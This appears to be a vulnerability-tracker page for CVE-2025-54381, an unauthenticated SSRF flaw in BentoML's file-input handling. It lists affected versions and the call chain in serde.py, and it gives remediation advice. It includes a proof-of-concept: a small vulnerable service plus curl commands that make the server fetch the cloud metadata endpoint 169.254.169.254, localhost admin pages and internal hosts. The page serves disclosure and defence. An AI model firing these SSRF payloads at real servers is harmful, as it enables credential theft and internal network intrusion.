Live › vulnerability › CVE-2025-54381
Go to dashboardBentoML services that accept file-type inputs (pathlib.Path, PIL.Image.Image) download any URL a client supplies in a multipart or JSON request, with no check for internal addresses. An unauthenticated attacker can make the server request cloud metadata endpoints, localhost services and internal hosts, and see or log the responses.
Summary written from the sources below. Check the originals before acting.
First seen by InfraStack 2026-10-27 15:18 UTC, 0h before NVD. All times on this page are UTC.
Any BentoML service on versions from up to but not including that exposes an endpoint with a or parameter is exposed, because the framework registers those endpoints as URL-fetching automatically. Services without such parameters, and services running on versions outside the affected range, are not affected by this report.
1.4.01.4.19PathPIL.Image.Image| Product | Ecosystem | Affected | Fixed in |
|---|---|---|---|
| bentoml | pypi | >= 1.4.0, < 1.4.19 | 1.4.19 |
| bentoml | vendor | >= 1.4.0, < 1.4.19 | 1.4.19 |
pip show bentoml and confirm the installed version is below 1.4.19Path or PIL.Image.Imagebentoml list or requirements.txt / pyproject.toml for bentoml pinned to >=1.4.0,<1.4.19bentoml package to 1.4.19 or later169.254.169.254Each row is the first time that source carried this signal. The analyst’s rows are its own findings.
There's an SSRF in the file upload processing system that allows remote attackers to make arbitrary HTTP requests from the server without authentication. The vulnerability exists in the serialization/deserialization handlers for multipart form data and JSON requests, which automatically download files from user-provided URLs without proper validation of internal network addresses.
The framework automatically registers any service endpoint with file-type parameters (pathlib.Path, PIL.Image.Image) as vulnerable to this attack, making it a framework-wide security issue that affects most real-world ML services handling file uploads. While BentoML implements basic URL scheme validation in the JSONSerde path, the MultipartSerde path has no validation whatsoever, and neither path restricts access to internal networks, cloud metadata endpoints, or localhost services.
The documentation explicitly promotes this URL-based file upload feature, making it an intended but insecure design that exposes all deployed services to SSRF attacks by default.
Source: User-controlled multipart form field values and JSON request bodies containing URLs
Call Chain - Path 1 (MultipartSerde - No Validation):
MultipartSerde.parse_request() in src/_bentoml_impl/serde.py:202 processes the requestform = await request.form() parses multipart data using Starlettevalue = [await self.ensure_file(v) for v in form.getlist(k)] at line 209MultipartSerde.ensure_file() called at lines 186-200 with user-controlled string URLresp = await client.get(obj) at line 193 - Direct HTTP request with zero validationCall Chain - Path 2 (JSONSerde - Weak Validation):
IORootModel + multipart_fieldsJSONSerde.parse_request() in src/_bentoml_impl/serde.py:157 processes the requestbody = await request.body() extracts request bodyif issubclass(cls, IORootModel) and cls.multipart_fields: at line 164if is_http_url(url := body.decode("utf-8", "ignore")): at line 165 (only checks scheme)resp = await client.get(url) at line 168 - HTTP request after insufficient validationCreate a BentoML service:
from pathlib import Path
import bentoml
@bentoml.service
class ImageProcessor:
@bentoml.api
def process_image(self, image: Path) -> str:
return f"Processed image: {image}"
Deploy and exploit:
# Start service (binds to 0.0.0.0:3000 by default)
bentoml serve service.py:ImageProcessor
# SSRF Attack 1 - Access AWS metadata
curl -X POST http://target:3000/process_image \
-F 'image=http://169.254.169.254/latest/meta-data/'
# SSRF Attack 2 - Internal service enumeration
curl -X POST http://target:3000/process_image \
-F 'image=http://localhost:8080/admin'
# SSRF Attack 3 - Internal network scanning
curl -X POST http://target:3000/process_image \
-F 'image=http://10.0.0.1:22'
Expected result: Server makes HTTP requests to internal/cloud endpoints, potentially returning sensitive data in error messages or logs.
Implement comprehensive URL validation in both serialization paths by adding network restriction checks to prevent access to internal/private network ranges, localhost, and cloud metadata endpoints. The existing is_http_url() function should be enhanced to include allowlist validation rather than just scheme checking.
This page as .md · .json · in your agent: get_signal("CVE-2025-54381")
GitHub Advisory Database, CC-BY 4.0 · NVD data is provided by NIST and is public domain. Posts quoted belong to their authors.